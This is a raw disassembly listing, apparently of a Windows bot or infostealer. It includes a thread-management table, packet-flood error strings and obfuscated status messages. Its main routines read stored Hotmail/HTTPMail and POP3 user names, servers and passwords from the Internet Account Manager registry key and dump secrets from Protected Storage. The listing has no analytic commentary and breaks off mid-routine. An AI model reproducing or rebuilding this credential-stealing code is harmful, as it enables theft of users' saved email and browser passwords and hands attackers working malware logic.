loc_42330D: ; CODE XREF: sub_422D47+5A2j
cmp [ebp+var_B4], ebx
jz short loc_42332F
loc_423315: ; CODE XREF: sub_422D47+5AAj
lea eax, [ebp+var_2A5C]
push eax
lea eax, [ebp+var_148]
push edi
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 10h
loc_42332F: ; CODE XREF: sub_422D47+5CCj
push [ebp+var_C8]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
loc_423342: ; CODE XREF: sub_422D47+518j
call dword_43716C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_248]
push [ebp+var_4]
push eax
push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
push offset aSErrorSendingP ; "%s Error sending packets to IP: %s. Pac"...
lea eax, [ebp+var_2A5C]
push 2710h
push eax
call sub_429AEE
add esp, 1Ch
cmp [ebp+var_B0], ebx
mov edi, offset aS_5 ; "%s"
jnz short loc_4233A0
cmp [ebp+var_B4], ebx
jnz short loc_4233A8
lea eax, [ebp+var_2A5C]
push eax
lea eax, [ebp+var_148]
push edi
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 10h
loc_4233A0: ; CODE XREF: sub_422D47+635j
cmp [ebp+var_B4], ebx
jz short loc_4233C2
loc_4233A8: ; CODE XREF: sub_422D47+63Dj
lea eax, [ebp+var_2A5C]
push eax
lea eax, [ebp+var_148]
push edi
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 10h
loc_4233C2: ; CODE XREF: sub_422D47+65Fj
push [ebp+var_8]
call dword_4372D4
push [ebp+var_C8]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
sub_422D47 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4233DE proc near ; CODE XREF: sub_4020AA+DAp
; sub_40242A+120p ...
var_26F8 = byte ptr -26F8h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 26F8h
call sub_429A90
lea eax, [ebp+arg_8]
push edi
push eax
lea eax, [ebp+var_26F8]
push [ebp+arg_4]
push 26F6h
push eax
call sub_42B7DA
add esp, 10h
xor edi, edi
mov eax, offset dword_46AFF0
loc_42340E: ; CODE XREF: sub_4233DE+40j
cmp byte ptr [eax], 0
jz short loc_423422
add eax, 2724h
inc edi
cmp eax, offset dword_6607C4
jl short loc_42340E
jmp short loc_42345E
; ---------------------------------------------------------------------------
loc_423422: ; CODE XREF: sub_4233DE+33j
push esi
mov esi, edi
imul esi, 2724h
lea eax, [ebp+var_26F8]
push 270Fh
push eax
lea eax, dword_46AFF0[esi]
push eax
call sub_429C40
mov eax, [ebp+arg_0]
and dword_46D704[esi], 0
add esp, 0Ch
and dword_46D708[esi], 0
mov dword_46D700[esi], eax
pop esi
loc_42345E: ; CODE XREF: sub_4233DE+42j
mov eax, edi
pop edi
leave
retn
sub_4233DE endp
; =============== S U B R O U T I N E =======================================
sub_423463 proc near ; CODE XREF: sub_40A938+D49p
; sub_4234DB+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_4234D5
cmp esi, 0CDh
jge short loc_4234D5
imul esi, 2724h
cmp dword_46D70C[esi], ebx
jz short loc_423489
inc ebp
loc_423489: ; CODE XREF: sub_423463+23j
push edi
lea edi, dword_46D708[esi]
mov dword_46D70C[esi], ebx
mov dword_46D700[esi], ebx
mov eax, [edi]
mov dword_46D704[esi], ebx
cmp eax, ebx
jbe short loc_4234AF
push eax
call sub_42003F
pop ecx
loc_4234AF: ; CODE XREF: sub_423463+43j
mov [edi], ebx
lea edi, dword_46D710[esi]
mov byte ptr dword_46AFF0[esi], bl
push dword ptr [edi]
call dword_456FD0 ; closesocket
push ebx
mov [edi], ebx
push dword_46D70C[esi]
call dword_437054 ; TerminateThread
pop edi
loc_4234D5: ; CODE XREF: sub_423463+Dj
; sub_423463+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_423463 endp
; =============== S U B R O U T I N E =======================================
sub_4234DB proc near ; CODE XREF: sub_40A938+CB5p
; sub_4181F4+659p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_46AFF0
loc_4234E7: ; CODE XREF: sub_4234DB+2Aj
cmp byte ptr [esi], 0
jz short loc_4234F8
push edi
call sub_423463
test eax, eax
pop ecx
jz short loc_4234F8
inc ebx
loc_4234F8: ; CODE XREF: sub_4234DB+Fj
; sub_4234DB+1Aj
add esi, 2724h
inc edi
cmp esi, offset dword_6607C4
jl short loc_4234E7
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_4234DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42350D proc near ; CODE XREF: sub_42358B+1Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_46D704
loc_423521: ; CODE XREF: sub_42350D+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_423543
test edi, edi
jle short loc_423535
cmp [esi], edi
jz short loc_423535
cmp ebx, edi
jnz short loc_423543
loc_423535: ; CODE XREF: sub_42350D+1Ej
; sub_42350D+22j
push ebx
call sub_423463
test eax, eax
pop ecx
jz short loc_423543
inc [ebp+var_4]
loc_423543: ; CODE XREF: sub_42350D+1Aj
; sub_42350D+26j ...
add esi, 2724h
inc ebx
cmp esi, offset dword_662ED8
jl short loc_423521
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_42350D endp
; =============== S U B R O U T I N E =======================================
sub_42355A proc near ; CODE XREF: sub_40242A+20Fp
; sub_402646+19Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 2724h
mov dword_46D70C[eax], ecx
mov dword_46D700[eax], ecx
mov dword_46D704[eax], ecx
mov dword_46D708[eax], ecx
mov dword_46D710[eax], ecx
mov byte ptr dword_46AFF0[eax], cl
retn
sub_42355A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42358B proc near ; CODE XREF: sub_40A938+A74p
; sub_40A938+218Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
xor eax, eax
cmp [ebp+arg_14], eax
jz short loc_42359E
push [ebp+arg_14]
call sub_42A030
pop ecx
loc_42359E: ; CODE XREF: sub_42358B+8j
push ebx
push esi
push edi
push eax
push [ebp+arg_18]
call sub_42350D
pop ecx
mov [ebp+arg_14], eax
test eax, eax
pop ecx
mov esi, offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
jle short loc_423602
cmp [ebp+arg_8], 0
mov ebx, offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/"
mov edi, offset aSSDS ; "%s %s %d %s"
jnz short loc_4235E3
cmp [ebp+arg_C], 0
jnz short loc_4235E9
push ebx
push eax
push [ebp+arg_1C]
push esi
push edi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD84
add esp, 1Ch
loc_4235E3: ; CODE XREF: sub_42358B+3Bj
cmp [ebp+arg_C], 0
jz short loc_42364B
loc_4235E9: ; CODE XREF: sub_42358B+41j
push ebx
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push edi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD0E
add esp, 1Ch
jmp short loc_42364B
; ---------------------------------------------------------------------------
loc_423602: ; CODE XREF: sub_42358B+2Bj
xor eax, eax
mov ebx, offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/"
cmp [ebp+arg_8], eax
mov edi, offset aSSS_3 ; "%s (%s) %s"
jnz short loc_423631
cmp [ebp+arg_C], eax
jnz short loc_423637
cmp [ebp+arg_10], eax
jz short loc_42364B
push ebx
push [ebp+arg_1C]
push esi
push edi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD84
add esp, 18h
loc_423631: ; CODE XREF: sub_42358B+86j
cmp [ebp+arg_C], 0
jz short loc_42364B
loc_423637: ; CODE XREF: sub_42358B+8Bj
push ebx
push [ebp+arg_1C]
push esi
push edi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD0E
add esp, 18h
loc_42364B: ; CODE XREF: sub_42358B+5Cj
; sub_42358B+75j ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42358B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423650 proc near ; DATA XREF: sub_40A938+EABo
var_C8 = dword ptr -0C8h
var_C4 = byte ptr -0C4h
var_44 = dword ptr -44h
var_34 = dword ptr -34h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0C8h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 31h
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov ecx, [ebp+var_C8]
mov dword ptr [eax+0BCh], 1
mov eax, [ebp+var_10]
push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
mov [ebp+var_4], eax
push offset aSThreadsList ; "%s Threads List:"
test eax, eax
lea eax, [ebp+var_C4]
mov [ebp+arg_0], ecx
push eax
push ecx
jnz short loc_4236A2
call sub_41CD84
jmp short loc_4236A7
; ---------------------------------------------------------------------------
loc_4236A2: ; CODE XREF: sub_423650+49j
call sub_41CD0E
loc_4236A7: ; CODE XREF: sub_423650+50j
add esp, 10h
xor ebx, ebx
mov edi, offset dword_46AFF0
mov esi, offset aD_S ; "%d. %s"
loc_4236B6: ; CODE XREF: sub_423650+A8j
cmp byte ptr [edi], 0
jz short loc_4236EB
xor eax, eax
cmp [ebp+var_34], eax
jnz short loc_4236CA
cmp [edi+2714h], eax
jnz short loc_4236EB
loc_4236CA: ; CODE XREF: sub_423650+70j
cmp [ebp+var_4], eax
push edi
push ebx
lea eax, [ebp+var_C4]
push esi
push eax
push [ebp+arg_0]
jnz short loc_4236E3
call sub_41CD84
jmp short loc_4236E8
; ---------------------------------------------------------------------------
loc_4236E3: ; CODE XREF: sub_423650+8Aj
call sub_41CD0E
loc_4236E8: ; CODE XREF: sub_423650+91j
add esp, 14h
loc_4236EB: ; CODE XREF: sub_423650+69j
; sub_423650+78j
add edi, 2724h
inc ebx
cmp edi, offset dword_6607C4
jl short loc_4236B6
cmp [ebp+var_4], 0
pop edi
pop esi
pop ebx
lea eax, [ebp+var_C4]
push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
push offset aSEndOfList_ ; "%s End of list."
push eax
push [ebp+arg_0]
jnz short loc_42371E
call sub_41CD84
jmp short loc_423723
; ---------------------------------------------------------------------------
loc_42371E: ; CODE XREF: sub_423650+C5j
call sub_41CD0E
loc_423723: ; CODE XREF: sub_423650+CCj
add esp, 10h
push [ebp+var_44]
call sub_42355A
pop ecx
push 0
call dword_437170 ; ExitThread
sub_423650 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_423737 proc near ; CODE XREF: sub_40203B+5p
; sub_4020AA+27p ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_46D700
loc_42373E: ; CODE XREF: sub_423737+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_423747
inc eax
loc_423747: ; CODE XREF: sub_423737+Dj
add ecx, 2724h
cmp ecx, offset dword_662ED4
jl short loc_42373E
retn
sub_423737 endp
; =============== S U B R O U T I N E =======================================
sub_423756 proc near ; CODE XREF: sub_403374+Cp
; ?9:0040A1FFp ...
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_46D700
push esi
loc_423760: ; CODE XREF: sub_423756+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_423779
add ecx, 2724h
inc edx
cmp ecx, offset dword_662ED4
jl short loc_423760
pop esi
retn
; ---------------------------------------------------------------------------
loc_423779: ; CODE XREF: sub_423756+10j
mov eax, edx
pop esi
retn
sub_423756 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42377D proc near ; DATA XREF: sub_40A938+1265o
var_27D4 = byte ptr -27D4h
var_C4 = dword ptr -0C4h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 27D4h
call sub_429A90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 31h
mov esi, eax
pop ecx
lea edi, [ebp+var_C4]
xor ebx, ebx
rep movsd
cmp [ebp+var_3C], ebx
mov edi, [ebp+var_C4]
mov dword ptr [eax+0BCh], 1
jz short loc_4237CB
push 2710h
lea eax, [ebp+var_27D4]
push [ebp+var_3C]
push eax
call sub_429C40
add esp, 0Ch
loc_4237CB: ; CODE XREF: sub_42377D+35j
cmp dword_457014, ebx
mov esi, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
jnz short loc_4237DF
call sub_423850
jmp short loc_4237F5
; ---------------------------------------------------------------------------
loc_4237DF: ; CODE XREF: sub_42377D+59j
push esi
lea eax, [ebp+var_C0]
push offset aSAdvapi_dllNot ; "%s Advapi.dll not loaded"
push eax
push edi
call sub_41CD84
add esp, 10h
loc_4237F5: ; CODE XREF: sub_42377D+60j
cmp dword_457084, ebx
jnz short loc_423827
push [ebp+var_14]
cmp [ebp+var_3C], ebx
push [ebp+var_C]
push [ebp+var_10]
jz short loc_423824
lea eax, [ebp+var_27D4]
push eax
loc_423812: ; CODE XREF: sub_42377D+A8j
lea eax, [ebp+var_C0]
push edi
push eax
call sub_423BB1
add esp, 18h
jmp short loc_42383D
; ---------------------------------------------------------------------------
loc_423824: ; CODE XREF: sub_42377D+8Cj
push ebx
jmp short loc_423812
; ---------------------------------------------------------------------------
loc_423827: ; CODE XREF: sub_42377D+7Ej
push esi
lea eax, [ebp+var_C0]
push offset aSPstore_dllNot ; "%s PStore.dll not loaded"
push eax
push edi
call sub_41CD84
add esp, 10h
loc_42383D: ; CODE XREF: sub_42377D+A5j
push [ebp+var_40]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
pop edi
pop esi
pop ebx
sub_42377D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423850 proc near ; CODE XREF: sub_42377D+5Bp
var_2EC = byte ptr -2ECh
var_224 = byte ptr -224h
var_15C = byte ptr -15Ch
var_C4 = byte ptr -0C4h
var_2C = byte ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 2ECh
push ebx
push edi
xor ebx, ebx
push 3A98h
push ebx
push offset dword_66FBD0
call sub_429690
mov edi, dword_4370A4
add esp, 0Ch
lea eax, [ebp+var_224]
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Internet Account Man"...
push eax
call edi ; dword_4370A4
lea eax, [ebp+var_24]
push eax
push 0F003Fh
lea eax, [ebp+var_224]
push ebx
push eax
push 80000001h
call dword_456FA0 ; RegOpenKeyExA
test eax, eax
jnz loc_423BAD
push esi
mov [ebp+var_18], ebx
mov [ebp+var_10], 3
mov esi, 96h
loc_4238B8: ; CODE XREF: sub_423850+356j
lea eax, [ebp+var_2C]
mov [ebp+var_1C], 0C8h
push eax
push ebx
push ebx
lea eax, [ebp+var_1C]
push ebx
push eax
lea eax, [ebp+var_2EC]
push eax
push [ebp+var_18]
push [ebp+var_24]
call dword_456E48 ; RegEnumKeyExA
mov [ebp+var_20], eax
lea eax, [ebp+var_224]
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Internet Account Man"...
push eax
call edi ; dword_4370A4
lea eax, [ebp+var_224]
push offset asc_44DA9C ; "\\"
push eax
call dword_437090 ; lstrcatA
lea eax, [ebp+var_2EC]
push eax
lea eax, [ebp+var_224]
push eax
call dword_437090 ; lstrcatA
lea eax, [ebp+var_14]
push eax
push 0F003Fh
lea eax, [ebp+var_224]
push ebx
push eax
push 80000001h
call dword_456FA0 ; RegOpenKeyExA
lea eax, [ebp+var_8]
mov [ebp+var_8], esi
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
push offset aHttpmailUserna ; "HTTPMail UserName"
push [ebp+var_14]
call dword_456DD0 ; RegQueryValueExA
test eax, eax
jnz loc_423A3C
lea eax, [ebp+var_15C]
push eax
mov eax, dword_673668
imul eax, 12Ch
add eax, offset dword_66FBD0
push eax
call edi ; dword_4370A4
push esi
lea eax, [ebp+var_15C]
push ebx
push eax
call sub_429690
mov eax, dword_673668
add esp, 0Ch
imul eax, 12Ch
add eax, offset dword_66FC98
push offset aHotmail ; "Hotmail"
push eax
call edi ; dword_4370A4
lea eax, [ebp+var_8]
mov [ebp+var_8], esi
push eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
push offset aHttpmailPass2 ; "HTTPMail Pass2"
push [ebp+var_14]
call dword_456DD0 ; RegQueryValueExA
test eax, eax
jnz loc_423B85
push 2
mov [ebp+var_C], ebx
pop eax
cmp [ebp+var_8], eax
mov [ebp+var_4], eax
jbe loc_423B70
loc_4239D7: ; CODE XREF: sub_423850+1E5j
mov eax, [ebp+var_4]
mov al, [ebp+eax+var_C4]
push eax
call dword_437264
test eax, eax
jnz short loc_423A0A
mov eax, [ebp+var_4]
mov al, [ebp+eax+var_C4]
cmp al, 28h
jz short loc_423A0A
cmp al, 29h
jz short loc_423A0A
cmp al, 2Eh
jz short loc_423A0A
cmp al, 20h
jz short loc_423A0A
cmp al, 2Dh
jnz short loc_423A2C
loc_423A0A: ; CODE XREF: sub_423850+19Aj
; sub_423850+1A8j ...
mov eax, dword_673668
mov ecx, [ebp+var_4]
imul eax, 12Ch
mov edx, [ebp+var_C]
mov cl, [ebp+ecx+var_C4]
inc [ebp+var_C]
mov byte_66FC34[eax+edx], cl
loc_423A2C: ; CODE XREF: sub_423850+1B8j
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jb short loc_4239D7
jmp loc_423B70
; ---------------------------------------------------------------------------
loc_423A3C: ; CODE XREF: sub_423850+103j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
push offset aPop3UserName ; "POP3 User Name"
push [ebp+var_14]
call dword_456DD0 ; RegQueryValueExA
test eax, eax
jnz loc_423B9C
lea eax, [ebp+var_15C]
push eax
mov eax, dword_673668
imul eax, 12Ch
add eax, offset dword_66FBD0
push eax
call edi ; dword_4370A4
push esi
lea eax, [ebp+var_15C]
push ebx
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_8]
mov [ebp+var_8], esi
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
push offset aPop3Server ; "POP3 Server"
push [ebp+var_14]
call dword_456DD0 ; RegQueryValueExA
lea eax, [ebp+var_15C]
push eax
mov eax, dword_673668
imul eax, 12Ch
add eax, offset dword_66FC98
push eax
call edi ; dword_4370A4
push esi
lea eax, [ebp+var_15C]
push ebx
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_8]
mov [ebp+var_8], esi
push eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
push offset aPop3Pass2 ; "POP3 Pass2"
push [ebp+var_14]
call dword_456DD0 ; RegQueryValueExA
test eax, eax
jnz loc_423B85
push 2
mov [ebp+var_C], ebx
pop eax
cmp [ebp+var_8], eax
mov [ebp+var_4], eax
jbe short loc_423B70
loc_423B10: ; CODE XREF: sub_423850+31Ej
mov eax, [ebp+var_4]
mov al, [ebp+eax+var_C4]
push eax
call dword_437264
test eax, eax
jnz short loc_423B43
mov eax, [ebp+var_4]
mov al, [ebp+eax+var_C4]
cmp al, 28h
jz short loc_423B43
cmp al, 29h
jz short loc_423B43
cmp al, 2Eh
jz short loc_423B43
cmp al, 20h
jz short loc_423B43
cmp al, 2Dh
jnz short loc_423B65
loc_423B43: ; CODE XREF: sub_423850+2D3j
; sub_423850+2E1j ...
mov eax, dword_673668
mov ecx, [ebp+var_4]
imul eax, 12Ch
mov edx, [ebp+var_C]
mov cl, [ebp+ecx+var_C4]
inc [ebp+var_C]
mov byte_66FC34[eax+edx], cl
loc_423B65: ; CODE XREF: sub_423850+2F1j
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jb short loc_423B10
loc_423B70: ; CODE XREF: sub_423850+181j
; sub_423850+1E7j ...
mov eax, dword_673668
mov ecx, [ebp+var_C]
imul eax, 12Ch
mov byte_66FC34[eax+ecx], bl
loc_423B85: ; CODE XREF: sub_423850+16Fj
; sub_423850+2ACj
push esi
lea eax, [ebp+var_C4]
push ebx
push eax
call sub_429690
add esp, 0Ch
inc dword_673668
loc_423B9C: ; CODE XREF: sub_423850+20Cj
inc [ebp+var_18]
cmp [ebp+var_20], 103h
jnz loc_4238B8
pop esi
loc_423BAD: ; CODE XREF: sub_423850+52j
pop edi
pop ebx
leave
retn
sub_423850 endp
; =============== S U B R O U T I N E =======================================
sub_423BB1 proc near ; CODE XREF: sub_42377D+9Dp
mov eax, offset loc_4365B0
call sub_42B6FC
sub esp, 0DF0h
push ebx
push esi
push edi
push offset aProtectedstora ; "ProtectedStorage"
call sub_427FA1
test eax, eax
pop ecx
jnz short loc_423C26
cmp [ebp+14h], eax
mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
mov ebx, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
mov esi, offset dword_45024C
jnz short loc_423C06
cmp [ebp+18h], eax
jnz short loc_423C10
cmp [ebp+1Ch], eax
jz loc_423D5C
push edi
push ebx
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_41CD84
add esp, 14h
loc_423C06: ; CODE XREF: sub_423BB1+34j
cmp dword ptr [ebp+18h], 0
jz loc_423D5C
loc_423C10: ; CODE XREF: sub_423BB1+39j
push edi
push ebx
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_41CD0E
add esp, 14h
jmp loc_423D5C
; ---------------------------------------------------------------------------
loc_423C26: ; CODE XREF: sub_423BB1+20j
call sub_427F4E
xor esi, esi
mov [ebp-14h], esi
push esi
push esi
lea eax, [ebp-10h]
push esi
push eax
mov [ebp-4], esi
mov [ebp-10h], esi
call dword_456EEC
cmp eax, esi
jge short loc_423CAA
xor eax, eax
mov ebx, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
cmp [ebp+14h], eax
mov edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
mov esi, offset aSSD_0 ; "%s %s: <%d>"
jnz short loc_423C83
cmp [ebp+18h], eax
jnz short loc_423C8D
cmp [ebp+1Ch], eax
jz loc_423D4B
call dword_43716C ; RtlGetLastWin32Error
push eax
push edi
push ebx
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_41CD84
add esp, 18h
loc_423C83: ; CODE XREF: sub_423BB1+AAj
cmp dword ptr [ebp+18h], 0
jz loc_423D4B
loc_423C8D: ; CODE XREF: sub_423BB1+AFj
call dword_43716C ; RtlGetLastWin32Error
push eax
push edi
push ebx
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_41CD0E
add esp, 18h
jmp loc_423D4B
; ---------------------------------------------------------------------------
loc_423CAA: ; CODE XREF: sub_423BB1+94j
cmp [ebp-10h], esi
mov byte ptr [ebp-4], 1
mov [ebp-20h], esi
jnz short loc_423CC0
push 80004003h
call sub_429196
loc_423CC0: ; CODE XREF: sub_423BB1+103j
mov edi, [ebp-10h]
lea ecx, [ebp-20h]
push ecx
push esi
mov eax, [edi]
push esi
push edi
call dword ptr [eax+38h]
cmp eax, esi
jge loc_423D63
push offset dword_45023C
push edi
push eax
call sub_4291A4
cmp dword ptr [ebp+14h], 0
mov ebx, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
mov edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
mov esi, offset aSSD_0 ; "%s %s: <%d>"
jnz short loc_423D1C
cmp dword ptr [ebp+18h], 0
jnz short loc_423D22
cmp dword ptr [ebp+1Ch], 0
jz short loc_423D3A
call dword_43716C ; RtlGetLastWin32Error
push eax
push edi
push ebx
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_41CD84
add esp, 18h
loc_423D1C: ; CODE XREF: sub_423BB1+145j
cmp dword ptr [ebp+18h], 0
jz short loc_423D3A
loc_423D22: ; CODE XREF: sub_423BB1+14Bj
call dword_43716C ; RtlGetLastWin32Error
push eax
push edi
push ebx
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_41CD0E
add esp, 18h
loc_423D3A: ; CODE XREF: sub_423BB1+151j
; sub_423BB1+16Fj
mov eax, [ebp-20h]
and byte ptr [ebp-4], 0
test eax, eax
jz short loc_423D4B
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_423D4B: ; CODE XREF: sub_423BB1+B4j
; sub_423BB1+D6j ...
mov eax, [ebp-10h]
or dword ptr [ebp-4], 0FFFFFFFFh
test eax, eax
jz short loc_423D5C
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_423D5C: ; CODE XREF: sub_423BB1+3Ej
; sub_423BB1+59j ...
xor eax, eax
jmp loc_424515
; ---------------------------------------------------------------------------
loc_423D63: ; CODE XREF: sub_423BB1+120j
mov ebx, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
loc_423D68: ; CODE XREF: sub_423BB1+8F0j
; sub_423BB1+8FCj
xor edi, edi
cmp [ebp-20h], edi
jnz short loc_423D79
push 80004003h
call sub_429196
loc_423D79: ; CODE XREF: sub_423BB1+1BCj
mov eax, [ebp-20h]
lea edx, [ebp-40h]
push edi
push edx
mov ecx, [eax]
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz loc_4244B2
sub esp, 10h
lea esi, [ebp-40h]
mov edi, esp
lea eax, [ebp-84h]
movsd
movsd
movsd
push offset asc_450238 ; "%x"
push eax
movsd
call dword_437274
add esp, 18h
and dword ptr [ebp-2Ch], 0
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 2
jnz short loc_423DCA
push 80004003h
call sub_429196
loc_423DCA: ; CODE XREF: sub_423BB1+20Dj
mov esi, [ebp-10h]
lea ecx, [ebp-2Ch]
push ecx
lea ecx, [ebp-40h]
mov eax, [esi]
push 0
push ecx
push 0
push esi
call dword ptr [eax+3Ch]
test eax, eax
jge short loc_423DEF
push offset dword_45023C
push esi
push eax
call sub_4291A4
loc_423DEF: ; CODE XREF: sub_423BB1+230j
mov edi, offset byte_454A34
loc_423DF4: ; CODE XREF: sub_423BB1+8D6j
; sub_423BB1+8E2j
xor esi, esi
cmp [ebp-2Ch], esi
jnz short loc_423E05
push 80004003h
call sub_429196
loc_423E05: ; CODE XREF: sub_423BB1+248j
mov eax, [ebp-2Ch]
lea edx, [ebp-50h]
push esi
push edx
mov ecx, [eax]
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz loc_424498
cmp [ebp-10h], esi
mov byte ptr [ebp-4], 3
mov [ebp-28h], esi
jnz short loc_423E33
push 80004003h
call sub_429196
loc_423E33: ; CODE XREF: sub_423BB1+276j
mov esi, [ebp-10h]
lea ecx, [ebp-28h]
push ecx
lea ecx, [ebp-50h]
mov eax, [esi]
push 0
push ecx
lea ecx, [ebp-40h]
push ecx
push 0
push esi
call dword ptr [eax+54h]
test eax, eax
jge short loc_423E5C
push offset dword_45023C
push esi
push eax
call sub_4291A4
loc_423E5C: ; CODE XREF: sub_423BB1+29Dj
; sub_423BB1+8C8j
xor esi, esi
cmp [ebp-28h], esi
jnz short loc_423E6D
push 80004003h
call sub_429196
loc_423E6D: ; CODE XREF: sub_423BB1+2B0j
mov eax, [ebp-28h]
lea edx, [ebp-30h]
push esi
push edx
mov ecx, [eax]
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz loc_42447E
push dword ptr [ebp-30h]
lea eax, [ebp-614h]
push offset aWs ; "%ws"
push eax
call dword_437274
add esp, 0Ch
cmp [ebp-10h], esi
mov [ebp-24h], esi
mov [ebp-18h], esi
jnz short loc_423EB2
push 80004003h
call sub_429196
loc_423EB2: ; CODE XREF: sub_423BB1+2F5j
xor eax, eax
lea edx, [ebp-18h]
push eax
push eax
push edx
mov esi, [ebp-10h]
lea edx, [ebp-24h]
push edx
mov ecx, [esi]
push dword ptr [ebp-30h]
lea edx, [ebp-50h]
push edx
lea edx, [ebp-40h]
push edx
push eax
push esi
call dword ptr [ecx+44h]
test eax, eax
jge short loc_423EE3
push offset dword_45023C
push esi
push eax
call sub_4291A4
loc_423EE3: ; CODE XREF: sub_423BB1+324j
push dword ptr [ebp-18h]
